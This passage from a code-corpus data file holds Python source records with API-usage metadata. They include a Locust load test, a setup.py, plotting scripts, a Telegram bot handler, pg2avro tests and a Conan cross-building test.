"torch.from_numpy", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.distributions.TransformedDistribution", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.distributions.Uniform", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.distributions.SigmoidTransform", "line_number": 66, "usage_type": "call"}, {"api_name": "nflib.flows.AffineHalfFlow", "line_number": 69, "usage_type": "call"}, {"api_name": "nflib.flows.AffineConstantFlow", "line_number": 71, "usage_type": "call"}, {"api_name": "nflib.flows.NormalizingFlowModel", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 101, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 122, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 123, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 134, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 135, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist2d", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 180, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist2d", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 189, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}]} +{"seq_id": "17957418", "text": "from locust import HttpUser, TaskSet, task, between\nfrom lib import flow_sp_sign_in\n\n\nclass SPSignInLoad(TaskSet):\n @task(1)\n def sp_sign_in_load_test(self):\n # This flow does its own SP logout\n flow_sp_sign_in.do_sign_in(self)\n\n\nclass WebsiteUser(HttpUser):\n tasks = [SPSignInLoad]\n wait_time = between(5, 9)\n", "sub_path": "load_testing/sp_sign_in.locustfile.py", "file_name": "sp_sign_in.locustfile.py", "file_ext": "py", "file_size_in_byte": 336, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "locust.TaskSet", "line_number": 5, "usage_type": "name"}, {"api_name": "lib.flow_sp_sign_in.do_sign_in", "line_number": 9, "usage_type": "call"}, {"api_name": "lib.flow_sp_sign_in", "line_number": 9, "usage_type": "name"}, {"api_name": "locust.task", "line_number": 6, "usage_type": "call"}, {"api_name": "locust.HttpUser", "line_number": 12, "usage_type": "name"}, {"api_name": "locust.between", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "19436918", "text": "#!python\n\nfrom setuptools import setup\n\nwith open('README.rst') as rm:\n long_description = rm.read()\n\nsetup(\n name='qtoml',\n version='0.2.1',\n author=\"alethiophile\",\n author_email=\"tomdicksonhunt@gmail.com\",\n description=\"New TOML encoder/decoder\",\n long_description=long_description,\n long_description_content_type='text/x-rst',\n license='MIT',\n packages=['qtoml'],\n url=\"https://github.com/alethiophile/qtoml\",\n install_requires=['click'],\n python_requires='~=3.6',\n entry_points={\n 'console_scripts': [\n 'qtoml_testencode = qtoml.__main__:encode',\n 'qtoml_testdecode = qtoml.__main__:decode',\n ],\n },\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: MIT License\",\n \"Topic :: Software Development :: Libraries :: Python Modules\"\n )\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 925, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "setuptools.setup", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "44828339", "text": "from paciente import Paciente\r\nimport json\r\nclass PacienteController:\r\n\r\n \r\n listaPaciente = []\r\n listaJson = []\r\n\r\n def __init__(self):\r\n self.preencheListaPaciente()\r\n\r\n \r\n def preencheListaPaciente(self):\r\n print(\"entrou \")\r\n \r\n paciente = []\r\n\r\n for i in range (10):\r\n paciente.append(Paciente())\r\n paciente[i].nome = \"Joao\"+str(i)\r\n paciente[i].telefone = \"981855228\"\r\n paciente[i].endereco = \"rua\"+str(i)\r\n paciente[i].email =paciente[i].nome+\"@gmail.com\"\r\n self.listaPaciente.append(paciente[i])\r\n print(paciente[i].nome)\r\n \r\n for i in range (10):\r\n self.listaJson.append(json.dumps(self.listaPaciente[i].__dict__))\r\n\r\n def retornaJson(self):\r\n return self.listaJson ", "sub_path": "PacienteControler.py", "file_name": "PacienteControler.py", "file_ext": "py", "file_size_in_byte": 841, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "paciente.append", "line_number": 19, "usage_type": "call"}, {"api_name": "paciente.Paciente", "line_number": 19, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "419117189", "text": "import os\nimport json\n\nimport click\n\nfrom rv.detection.commands.settings import (\n temp_root_dir, default_channel_order)\nfrom rv.utils.files import (\n download_if_needed, MyTemporaryDirectory)\nfrom rv.detection.commands.predict import _predict\n\n\n@click.command()\n@click.argument('inference_graph_uri')\n@click.argument('label_map_uri')\n@click.argument('projects_uri')\n@click.option('--mask-uri', default=None,\n help='URI for mask GeoJSON file to use as filter for detections')\n@click.option('--channel-order', nargs=3, type=int,\n default=default_channel_order, help='Index of RGB channels')\n@click.option('--chip-size', default=300)\n@click.option('--score-thresh', default=0.5,\n help='Score threshold of predictions to keep')\n@click.option('--merge-thresh', default=0.05,\n help='IOU threshold for merging predictions')\n@click.option('--save-temp', is_flag=True)\ndef predict_array(inference_graph_uri, label_map_uri, projects_uri,\n mask_uri, channel_order, chip_size, score_thresh,\n merge_thresh, save_temp):\n job_index = int(os.environ['AWS_BATCH_JOB_ARRAY_INDEX'])\n\n prefix = temp_root_dir\n temp_dir = os.path.join(prefix, 'predict-array') if save_temp else None\n with MyTemporaryDirectory(temp_dir, prefix) as temp_dir:\n projects_path = download_if_needed(projects_uri, temp_dir)\n with open(projects_path, 'r') as projects_file:\n projects = json.load(projects_file)\n if job_index >= len(projects):\n raise ValueError(\n 'There are {} projects and job_index is {}!'.format(\n len(projects), job_index))\n project = projects[job_index]\n image_uris = project['images']\n output_uri = project['annotations']\n output_debug_uri = None\n\n _predict(inference_graph_uri, label_map_uri, image_uris,\n output_uri, output_debug_uri, mask_uri,\n channel_order, chip_size, score_thresh, merge_thresh,\n save_temp)\n\n\n\nif __name__ == '__main__':\n predict_array()\n", "sub_path": "src/rv/detection/commands/predict_array.py", "file_name": "predict_array.py", "file_ext": "py", "file_size_in_byte": 2154, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "rv.detection.commands.settings.temp_root_dir", "line_number": 32, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "rv.utils.files.MyTemporaryDirectory", "line_number": 34, "usage_type": "call"}, {"api_name": "rv.utils.files.download_if_needed", "line_number": 35, "usage_type": "call"}, {"api_name": "json.load", "line_number": 37, "usage_type": "call"}, {"api_name": "rv.detection.commands.predict._predict", "line_number": 47, "usage_type": "call"}, {"api_name": "click.command", "line_number": 13, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 14, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 15, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 16, "usage_type": "call"}, {"api_name": "click.option", "line_number": 17, "usage_type": "call"}, {"api_name": "click.option", "line_number": 19, "usage_type": "call"}, {"api_name": "rv.detection.commands.settings.default_channel_order", "line_number": 20, "usage_type": "name"}, {"api_name": "click.option", "line_number": 21, "usage_type": "call"}, {"api_name": "click.option", "line_number": 22, "usage_type": "call"}, {"api_name": "click.option", "line_number": 24, "usage_type": "call"}, {"api_name": "click.option", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "168522027", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\nU = np.loadtxt('U.dat')\nV = np.loadtxt('V.dat')\n\nplt.axis('equal')\nplt.contourf(np.sqrt(U*U+V*V),50,cmap=plt.get_cmap('summer'))\nplt.colorbar()\nplt.quiver(U, V, headlength = 5, headwidth = 2, scale=3, units='y')\nplt.show()\n", "sub_path": "Applications/org.plotUV.py", "file_name": "org.plotUV.py", "file_ext": "py", "file_size_in_byte": 302, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.loadtxt", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.quiver", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}]} +{"seq_id": "599278902", "text": "from aiogram import types, filters\nfrom loader import dp\nfrom example_google_table import add_in_achive\n\n@dp.message_handler(filters.RegexpCommandsFilter(regexp_commands=['health_(\\d\\d_\\d\\d_\\d\\d\\d\\d)']))\nasync def add_achive(message: types.Message, regexp_command):\n date_of_achive = regexp_command.group(1).replace(\"_\", \".\")\n await message.answer(f'Ачивка Health за {date_of_achive} добавлена 💊')\n await dp.bot.send_message(985485455,\n f\"Пользователь {message.from_user.full_name} добавил ачивку Health за {date_of_achive}\")\n await add_in_achive(date_of_achive, 'health', message.from_user.full_name, message.from_user.id)\n\n# @dp.message_handler(text='/health')\n# async def work(message: types.Message):\n# await message.answer(text='Ачивка Health добавлена 💊')\n# await dp.bot.send_message(985485455, f\"Пользователь {message.from_user.full_name} добавил ачивку Health.\")", "sub_path": "handlers/users/achievments/health.py", "file_name": "health.py", "file_ext": "py", "file_size_in_byte": 1022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "aiogram.types.Message", "line_number": 6, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 6, "usage_type": "name"}, {"api_name": "loader.dp.bot.send_message", "line_number": 9, "usage_type": "call"}, {"api_name": "loader.dp.bot", "line_number": 9, "usage_type": "attribute"}, {"api_name": "loader.dp", "line_number": 9, "usage_type": "name"}, {"api_name": "example_google_table.add_in_achive", "line_number": 11, "usage_type": "call"}, {"api_name": "loader.dp.message_handler", "line_number": 5, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 5, "usage_type": "name"}, {"api_name": "aiogram.filters.RegexpCommandsFilter", "line_number": 5, "usage_type": "call"}, {"api_name": "aiogram.filters", "line_number": 5, "usage_type": "name"}]} +{"seq_id": "595601427", "text": "from collections import OrderedDict\nfrom typing import List\nfrom pg2avro import get_avro_schema, get_avro_row_dict\nimport json\n\n\ndef test_get_avro_row_row_types():\n \"\"\"\n Test generating Avro rows from different source row data.\n\n TODO: Cover more than the simplest golden path.\n \"\"\"\n columns = [\n {\"name\": \"name\", \"type\": \"varchar\", \"nullable\": False},\n {\"name\": \"number\", \"type\": \"float4\", \"nullable\": False},\n {\"name\": \"list\", \"type\": \"_varchar\", \"nullable\": False},\n {\"name\": \"is_working\", \"type\": \"bool\", \"nullable\": False},\n ]\n\n table_name = \"test_table\"\n namespace = \"test_namespace\"\n\n schema = get_avro_schema(table_name, namespace, columns)\n\n expected = [\n {\n \"name\": \"example-01\",\n \"number\": 1.0,\n \"list\": [\"list\", \"of\", \"strings\"],\n \"is_working\": True,\n },\n {\n \"name\": \"example-02\",\n \"number\": 2.5,\n \"list\": [\"another\", \"list\", \"of\", \"strings\"],\n \"is_working\": False,\n },\n ]\n\n class Row:\n def __init__(self, name: str, number: float, list: List[str], is_working: bool):\n self.name = name\n self.number = number\n self.list = list\n self.is_working = is_working\n\n rows_data = [\n # Compatible Row objects.\n [\n Row(\"example-01\", 1.0, \"list of strings\".split(), True),\n Row(\"example-02\", 2.5, \"another list of strings\".split(), False),\n ],\n # Compatible Dicts.\n [\n {\n \"name\": \"example-01\",\n \"number\": 1.0,\n \"list\": \"list of strings\".split(),\n \"is_working\": True,\n },\n {\n \"name\": \"example-02\",\n \"number\": 2.5,\n \"list\": \"another list of strings\".split(),\n \"is_working\": False,\n },\n ],\n # Compatible Dicts, but extended class.\n [\n OrderedDict(\n {\n \"name\": \"example-01\",\n \"number\": 1.0,\n \"list\": \"list of strings\".split(),\n \"is_working\": True,\n }\n ),\n OrderedDict(\n {\n \"name\": \"example-02\",\n \"number\": 2.5,\n \"list\": \"another list of strings\".split(),\n \"is_working\": False,\n }\n ),\n ],\n # Compatible Tuples.\n [\n (\"example-01\", 1.0, \"list of strings\".split(), True),\n (\"example-02\", 2.5, \"another list of strings\".split(), False),\n ],\n ]\n\n for row_data in rows_data:\n actual = [get_avro_row_dict(r, schema) for r in row_data]\n\n assert expected == actual\n\n\ndef test_get_avro_row_dict_special_data_types():\n \"\"\"\n Test generating Avro rows from data, using special types.\n \"\"\"\n columns = [\n {\"name\": \"json_col\", \"type\": \"json\"},\n {\"name\": \"jsonb_col\", \"type\": \"jsonb\"},\n {\"name\": \"empty_list\", \"type\": \"_varchar\"},\n ]\n\n table_name = \"test_table\"\n namespace = \"test_namespace\"\n schema = get_avro_schema(table_name, namespace, columns)\n\n json_1 = {\"key1\": \"val1\"}\n json_2 = {\"key2\": \"val2\", \"key3\": [1, 2], \"key4\": {\"key5\": \"val5\"}}\n\n expected = [\n {\n \"json_col\": json.dumps(json_1),\n \"jsonb_col\": json.dumps(json_2),\n \"empty_list\": [],\n },\n {\n \"json_col\": json.dumps(json_2),\n \"jsonb_col\": json.dumps(json_1),\n \"empty_list\": None,\n },\n ]\n\n actual = [\n get_avro_row_dict(r, schema)\n for r in [(json_1, json_2, []), (json_2, json_1, None)]\n ]\n\n assert expected == actual\n", "sub_path": "tests/test_data.py", "file_name": "test_data.py", "file_ext": "py", "file_size_in_byte": 3837, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pg2avro.get_avro_schema", "line_number": 23, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 41, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 70, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 78, "usage_type": "call"}, {"api_name": "pg2avro.get_avro_row_dict", "line_number": 95, "usage_type": "call"}, {"api_name": "pg2avro.get_avro_schema", "line_number": 112, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 119, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 120, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 124, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 125, "usage_type": "call"}, {"api_name": "pg2avro.get_avro_row_dict", "line_number": 131, "usage_type": "call"}]} +{"seq_id": "426411677", "text": "import csv\nimport os\n\nimport plotly.graph_objs as go\nimport plotly.offline as py\n\n\nclass Plotter:\n def __init__(self, title='Plot', x_axis='X axis', y_axis='Y axis'):\n self.y_axis = y_axis\n self.x_axis = x_axis\n self.title = title\n self.traces = []\n\n def add_scatter(self, name, x, y):\n self.traces.append(go.Scatter(\n x=x, y=y, name=name, mode='markers'\n ))\n\n def add_line(self, name, x, y):\n self.traces.append(go.Scatter(\n x=x, y=y, name=name, mode='lines'\n ))\n\n def add_bar(self, name, x, y, error_values=None):\n if error_values:\n error_y = {\n 'type': 'data',\n 'array': error_values,\n 'visible': True\n }\n else:\n error_y = None\n\n self.traces.append(go.Bar(\n name=name, x=x, y=y, error_y=error_y\n ))\n\n def plot(self):\n layout = go.Layout(title=self.title,\n xaxis=go.layout.XAxis(\n title=go.layout.xaxis.Title(\n text=self.x_axis\n ),\n type=\"category\"\n ),\n yaxis=go.layout.YAxis(\n title=go.layout.yaxis.Title(\n text=self.y_axis\n )\n ),\n # Always group bars with the same x value\n barmode='group'\n )\n if not os.path.exists('../out'):\n os.mkdir('../out')\n py.plot({\n 'data': self.traces,\n 'layout': layout\n }, auto_open=True, filename='../out/temp-plot.html')\n\n def plot_csv(self, filename, x_col_name, y_col_name, trace_name='CSV plot', type=None):\n self.add_trace_from_csv(filename, x_col_name, y_col_name, trace_name, type)\n\n self.x_axis = x_col_name\n self.y_axis = y_col_name\n self.plot()\n\n def add_trace_from_csv(self, filename, x_col_name, y_col_name, trace_name=None, type='scatter'):\n if trace_name is None:\n trace_name = filename\n x = []\n y = []\n with open(filename) as csvfile:\n reader = csv.DictReader(csvfile, skipinitialspace=True)\n for line in reader:\n x.append(line[x_col_name])\n y.append(line[y_col_name])\n if type == 'scatter':\n self.add_scatter(trace_name, x, y)\n else:\n self.add_line(trace_name, x, y)\n\n\nif __name__ == '__main__':\n plotter = Plotter()\n plotter.plot_csv('../test.csv', 'mean nr of evaluations', 'average tree size')\n", "sub_path": "plot/plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 2785, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "plotly.graph_objs.Scatter", "line_number": 16, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 16, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 21, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 21, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 35, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 35, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 40, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 40, "usage_type": "name"}, {"api_name": "plotly.graph_objs.layout.XAxis", "line_number": 41, "usage_type": "call"}, {"api_name": "plotly.graph_objs.layout", "line_number": 41, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs", "line_number": 41, "usage_type": "name"}, {"api_name": "plotly.graph_objs.layout.xaxis.Title", "line_number": 42, "usage_type": "call"}, {"api_name": "plotly.graph_objs.layout", "line_number": 42, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs", "line_number": 42, "usage_type": "name"}, {"api_name": "plotly.graph_objs.layout.YAxis", "line_number": 47, "usage_type": "call"}, {"api_name": "plotly.graph_objs.layout", "line_number": 47, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs", "line_number": 47, "usage_type": "name"}, {"api_name": "plotly.graph_objs.layout.yaxis.Title", "line_number": 48, "usage_type": "call"}, {"api_name": "plotly.graph_objs.layout", "line_number": 48, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 56, "usage_type": "call"}, {"api_name": "plotly.offline.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 57, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "186111534", "text": "import textwrap\n\nfrom parameterized import parameterized\n\nfrom conans.client.graph.graph import CONTEXT_BUILD, CONTEXT_HOST\nfrom conans.model.profile import Profile\nfrom conans.model.ref import ConanFileReference\nfrom conans.test.functional.cross_building.graph._base_test_case import CrossBuildingBaseTestCase\n\n\nclass BuildRequiresInProfileExample(CrossBuildingBaseTestCase):\n \"\"\" There is an application with a requirement 'lib', both of them need\n a tool called 'cmake' to build. This tool is defined in profile.\n\n All these requirements are declared in the profiles\n \"\"\"\n\n application = textwrap.dedent(\"\"\"\n from conans import ConanFile\n\n class Application(ConanFile):\n name = \"app\"\n version = \"testing\"\n\n settings = \"os\"\n requires = \"lib/testing@user/channel\"\n\n def build(self):\n self.output.info(\">> settings.os:\".format(self.settings.os))\n \"\"\")\n\n lib = CrossBuildingBaseTestCase.library_tpl.render(name=\"lib\")\n lib_ref = ConanFileReference.loads(\"lib/testing@user/channel\")\n\n def setUp(self):\n super(BuildRequiresInProfileExample, self).setUp()\n self._cache_recipe(self.cmake_ref, self.cmake)\n self._cache_recipe(self.lib_ref, self.lib)\n self._cache_recipe(self.app_ref, self.application)\n\n @parameterized.expand([(True,), (False,)])\n def test_crossbuilding(self, xbuilding):\n profile_host = Profile()\n profile_host.settings[\"os\"] = \"Host\"\n profile_host.build_requires[\"*\"] = [ConanFileReference.loads(\"cmake/testing@user/channel\"), ]\n profile_host.process_settings(self.cache)\n\n if xbuilding:\n profile_build = Profile()\n profile_build.settings[\"os\"] = \"Build\"\n profile_build.process_settings(self.cache)\n else:\n profile_build = None\n\n deps_graph = self._build_graph(profile_host=profile_host, profile_build=profile_build)\n\n # Check HOST packages\n application = deps_graph.root.dependencies[0].dst\n self.assertEqual(len(application.dependencies), 2)\n self.assertEqual(application.conanfile.name, \"app\")\n self.assertEqual(application.context, CONTEXT_HOST)\n self.assertEqual(application.conanfile.settings.os, profile_host.settings['os'])\n\n lib_host = application.dependencies[0].dst\n self.assertEqual(lib_host.conanfile.name, \"lib\")\n self.assertEqual(lib_host.context, CONTEXT_HOST)\n self.assertEqual(lib_host.conanfile.settings.os, profile_host.settings['os'])\n\n # Check BUILD packages (default behavior changes if we use profile_build)\n cmake_application_build = application.dependencies[1].dst\n self.assertEqual(cmake_application_build.conanfile.name, \"cmake\")\n self.assertEqual(cmake_application_build.context, CONTEXT_BUILD if xbuilding else CONTEXT_HOST)\n self.assertEqual(str(cmake_application_build.conanfile.settings.os),\n (profile_build if xbuilding else profile_host).settings['os'])\n\n cmake_lib_build = lib_host.dependencies[0].dst\n self.assertNotEqual(cmake_application_build, cmake_lib_build)\n self.assertEqual(cmake_lib_build.conanfile.name, \"cmake\")\n self.assertEqual(cmake_lib_build.context, CONTEXT_BUILD if xbuilding else CONTEXT_HOST)\n self.assertEqual(str(cmake_lib_build.conanfile.settings.os),\n (profile_build if xbuilding else profile_host).settings['os'])\n", "sub_path": "conans/test/functional/cross_building/graph/build_requires_in_profile_test.py", "file_name": "build_requires_in_profile_test.py", "file_ext": "py", "file_size_in_byte": 3522, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "conans.test.functional.cross_building.graph._base_test_case.CrossBuildingBaseTestCase", "line_number": 11, "usage_type": "name"}, {"api_name": "textwrap.dedent", "line_number": 18, "usage_type": "call"}, {"api_name": "conans.test.functional.cross_building.graph._base_test_case.CrossBuildingBaseTestCase.library_tpl.render", "line_number": 32, "usage_type": "call"}, {"api_name": "conans.test.functional.cross_building.graph._base_test_case.CrossBuildingBaseTestCase.library_tpl", "line_number": 32, "usage_type": "attribute"}, {"api_name": "conans.test.functional.cross_building.graph._base_test_case.CrossBuildingBaseTestCase", "line_number": 32, "usage_type": "name"}, {"api_name": "conans.model.ref.ConanFileReference.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "conans.model.ref.ConanFileReference", "line_number": 33, "usage_type": "name"}, {"api_name": "conans.model.profile.Profile", "line_number": 43, "usage_type": "call"}, {"api_name": "conans.model.ref.ConanFileReference.loads", "line_number": 45, "usage_type": "call"}, {"api_name": "conans.model.ref.ConanFileReference", "line_number": 45, "usage_type": "name"}, {"api_name": "conans.model.profile.Profile", "line_number": 49, "usage_type": "call"}, {"api_name": "conans.client.graph.graph.CONTEXT_HOST", "line_number": 61, "usage_type": "argument"}, {"api_name": "conans.client.graph.graph.CONTEXT_HOST", "line_number": 66, "usage_type": "argument"}, {"api_name": "conans.client.graph.graph.CONTEXT_BUILD", "line_number": 72, "usage_type": "name"}, {"api_name": "conans.client.graph.graph.CONTEXT_HOST", "line_number": 72, "usage_type": "name"}, {"api_name": "conans.client.graph.graph.CONTEXT_BUILD", "line_number": 79, "usage_type": "name"}, {"api_name": 